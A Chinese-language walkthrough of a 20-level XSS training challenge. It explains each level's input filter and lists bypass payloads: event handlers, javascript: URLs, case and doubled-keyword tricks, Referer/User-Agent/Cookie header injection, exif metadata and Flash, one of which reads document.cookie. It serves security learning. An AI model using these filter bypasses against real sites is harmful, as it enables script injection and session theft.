1、第一关

比较简单,测试语句:

<svg/onload=alert(1)>

<script>confirm(1)</script>

<script>prompt(1)</script>

<script>alert(1)</script>

html页面简单的三种对话框如下:

1、alert(),最简单的提示框:

alert("你好!");

2、confirm(),有确认和取消两个按钮:

if(confirm("还有继续吗?")){

alert("继续");

}else{

alert("再见");

}

3、prompt(),可以输入信息:

var name = prompt("你的名字是:");

alert("你好," + name);

2、第二关

此处为搜索型的xss,分析代码,使用的是get方法,从url中接受一个keyword搜索参数,此处用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体,“>”和“<”转义了,属于黑名单绕过,那就是不使用被过滤的符号,使用js的事件,如:" onmouseover=alert(2) >click。还需要注意的地方就是前面的符号闭合.

另一个payload:"><sript>alert(2)</script>,仍然是注意前面的闭合,就可以了。

3、第三关

这一关,过滤规则的更严格了,经过测试,“>”,“<”,“"”,被过滤了,但是单引号“'”,没有过滤,所以此处尝试js语句,“' onmouseover=alert(3)//”测试,后面无法闭合,所以使用了注释“//”。

4、第四关

研究一下源码,如下图,可以看到,传入进去的值经过了两个函数的参与,str_replace(">","",$str),此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化,这时要在没有符号“<>”,的情况下构造语句,并且不被htmlspecialchars()函数影响。所以这里可以构造一个输入到文本框后出现相应的事件。

Payload:" onfocus=alert(4) autofocus="

"onlick=alert(4)//

onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。

autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。

焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。

5、第五关

看一下源代码,$str2=str_replace("<script","scr_ipt",$str),$str3=str_replace("on","o_n",$str2)是把<script转换为<scr_ipt,on转换成o_n,这样就过滤了js事件,$str=strtolower($_GET[''keyword"]);大小写绕过也会失效,不过这次没有过滤尖括号><。

这里用伪协议来构造payload:

"><iframe src=javascript:alert(5)>

"> <a href="jacascript:alert(5)">click me!!!</a>

"> <a href="javascript:%61lert(5)">click me !!!</a> //

6、第六关

经过查看源代码发现过滤了很多的字符,其中<script转换成<scr ipt,on转换成o_n,src转换成sr_c,data转换成da_ta,href转换成hr_ef,和上一关相比较这一关没有大小写的约束,于是可以变化大小写来绕过。

payload:

"> <SCRIpt>alert(6)</SCriPT>

"> <img Src=a ONerrOR=alert(6)>//

"> <a HrEf="javascript:alert(6)">click me!!!</a>//

"><svg x="" ONclick=alert(6)>

" ONclick=alert(6) //

7、第七关

根据代码显示,script,on,src,data,href都直接转换成空了,大小写也不能用了。所以尝试双写绕过。

payload:

"><scscriptript>alert(7)<sriscriptpt>

" oonnmouseover=alert(7)//

"><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>//

8、第八关

分析代码可知,

"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'&quot',大小写过滤并被编码,尖括号><,单引号',%,#,&符号没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_ript,使用&#x72来代替r,伪协议后面可以使用URL编码进行编码。

Payload:

javascript:alert(8)

javascript:%61lert(8)

javascript:%61lert`1`

javascript:alert`1`

9、第九关

"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'&quot',和上一关差不多,不同的是多了自动检测URL,如果发现没有带http://内容则会显示为不合法。

payload:

javascript:alert(9)//http://a.com //  利用注释

javascript:%0dhttp://a.com%0dalert(9) //  不利用注释

javascript:%0ahttp://a.com%0dalert(9) // 不利用注释

10、第十关

分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,或许可以从隐藏的输入框下手,构造payload。

payload:

keyword=test&t_sort="type="text" onclick="alert(10)

查看页面源码:

Keyword=aaa&t_sort=" type="text" onmouseover="alert(10)

Keyword=aaa&t_sort=" type="text" onmouseover=alert`1`

11、第十一关

分析代码,相比上一关,多了一个str11=$_SERVER['HTTP_REFERER'];验证的是http头部的xss注入,使用burp抓包,修改相应的字段,构造http头部referer的payload。

头部本身没有Referer,自行添加了,

payload:Referer:" onmouseover=alert(11) type="text"

Referer:" onclick="alert(11)" type="text

12、第十二关

查看代码,$str11=$_SERVER['HTTP_USER_AGENT'];应该是User-Agent的http头部注入,burp抓包,构造头部User-Agent的payload。

User-Agent:" onmouseover=alert(12) type="text"

User-Agent:" onclick="alert(12)" type="text

13、第十三关

查看代码,这次是cookie类型的xss注入,setcookie("user", "call me maybe?", time()+3600);

构造payload:

Cookie:" onmouseover=alert(13) type="text"

Cookie:" onclick="alert(13)" type="text

14、第十四关

这一关的图片一直加载不出来,所以也没有办法进行测试了。于是在网上找了一些参考,自己记录一下:

查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg

15、第十五关

查看代码,这一关是关于angular js的知识,ng-include有包含文件的意思,也就是相当于php里面的include,此处可以包含第一关的页面。

构造payload:

在url处写入语句,

src='level1.php?name=<img src=x onerror=alert(1)>'

如下图所示,这个没有利用成功,搜索到的另一个作者说是,因为这里需要访问angular.main.js这

个js文件,才能进行包含,虚拟机的环境中无法访问,看样子是需要fanqiang的,暂时无法实现,

最近国庆,抓的很严,我买的也挂掉了。。。

此处借用一张网上的成功图片吧。

2019/10/7更新:今天又弄了一个临时的vpn,紧接着就进行了测试,如下图显示,测试成功:

16、第十六关

查看代码发现大小写绕过失效,script、/、,等都被转换成&nbsp,这时,可以尝试使用%0a,%0d来进行绕过。

构造语句:

Keyword=<img%0dsrc=a%0donerror=alert(16)>

Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>

Keyword=<svg%0aonload=alert`16`></svg>

17、第十七关

测试语句:

arg01=a&arg02=%20onmouseover=alert`1`

18、第十八关

这一关和上一关一样。

19、第十九关

Flash xss

页面源码,未插入语句时:

页面源码,插入语句后:

Payload:

192.168.40.129/xss/level19.php?arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>

点击“xss_by_didi”就可以触发XSS。弹窗:

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

网上找了下大神的答案,这里记录一下:

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数

然后追踪到sIFR的内容

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

所以我们可以构造<a > </a> 标签来传值

http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

20、第二十关

额……这一关完全没有头绪呀。。。答案是网上搜来的,测试代码“\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height”

看着就好难。说是将swf下载下来分析得知是zeroclipboard.swf,有漏洞详情,因此构造出的payload就是上面的那句话,我就直接放进去测试一下成功率吧。

level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

成功弹窗:

转载声明:转载请保留原文链接及作者。

XSS挑战之旅平台通关练习的更多相关文章

  1. XSS挑战之旅---游戏通关攻略

    最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...

  2. XSS挑战之旅(通过看代码解题)

    XSS 挑战之旅 level 1 没有什么过滤 payload: <script>alert(1)</script> level 2 php关键代码: echo "& ...

  3. xss挑战之旅wp

    Level 1  -  180831 第一关很简单,开胃菜 payload: http://localhost/xss_game/level1.php?name=test123<script&g ...

  4. XSS挑战之旅,学习笔记

    第一关: http://test.ctf8.com/level1.php?name=test 观察到通过get方式传参有会显, 直接打最简单的xss playload: <script>a ...

  5. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  6. XSS挑战第一期Writeup

    0x00 起因 这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过 ...

  7. xss利用和检测平台

    xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...

  8. XSS跨站攻击靶场-通关笔记

    XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户 ...

  9. XSS挑战20关

    第一关: 没有过滤,直接构造payload过关: http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/ ...

随机推荐

  1. redis添加到linux系统服务

    http://blog.csdn.net/justfor3l/article/details/53187795

  2. log4net使用简明教程,快看看哟

    在项目当中经常会遇到各种各样的问题,如何可以尽快找到问题,那么就只能靠日志了,所以一个系统的日志是否完备合理就尤为重要. 在日志管理插件中log4net相当流行,下面就简单说明一下使用方法. log4 ...

  3. 【GStreamer开发】GStreamer基础教程03——动态pipeline

    本教程介绍pipeline的一种新的创建方式--在运行中创建,而不是在运行前一次性的创建结束. 介绍 在这篇教程里的pipeline并非在运行前就全部创建结束的.放松一下,这样做没有任何问题.如果我们 ...

  4. 重磅!滴滴跨端框架Chameleon 1.0正式发布

    滴滴在 GitHub 上开源的跨端解决方案 Chameleon(简写 CML)正式发布 1.0 版本,中文名卡梅龙:中文意思变色龙,意味着就像变色龙一样能适应不同环境的企业级跨端整体解决方案,具有易用 ...

  5. 030 Android 第三方开源下拉框:NiceSpinner的使用+自定义Button样式+shape绘制控件背景图+图片选择器(selector)

    1.NiceSpinner下拉框控件介绍 Android原生的下拉框Spinner基本上可以满足Android开发对于下拉选项的设计需求,但现在越来越流行的下拉框不满足于Android原生提供的下拉框 ...

  6. u盘传输文件时提示过大

    (无需格式化U盘) 1.拷贝大文件时提示目标文件系统过大,无法复制 2.查U盘,发现剩余空间足够: 3.分析原因,是由于U盘的格式问题导致的,当期的磁盘格式是FAT32类型的,无拷贝过大的文件: 4. ...

  7. 八皇后问题——列出所有的解,可推至N皇后

    <数据结构>--邓俊辉版本 读书笔记 今天学习了回溯法,有两道习题,一道N皇后,一道迷宫寻径.今天,先解决N皇后问题.由于笔者 擅长java,所以用java重现了八皇后问题. 注意是jav ...

  8. python 之 logger日志 字典配置文件

    import os import logging.config #不能只导入logging BASE_DIR=os.path.dirname(os.path.dirname(__file__)) # ...

  9. 第五章 模块之 getpass、sys、os

    5.5 getpass 密码不显示(只能在终端运行) 密码不显示(只能在终端运行) import getpass​pwd = getpass.getpass('请输入密码:')if pwd == '1 ...

  10. WUSTOJ 1326: Graph(Java)费马数

    题目链接:1326: Graph 参考博客:HNUSTOJ-1617 Graph(费马数)--G2MI Description Your task is to judge whether a regu ...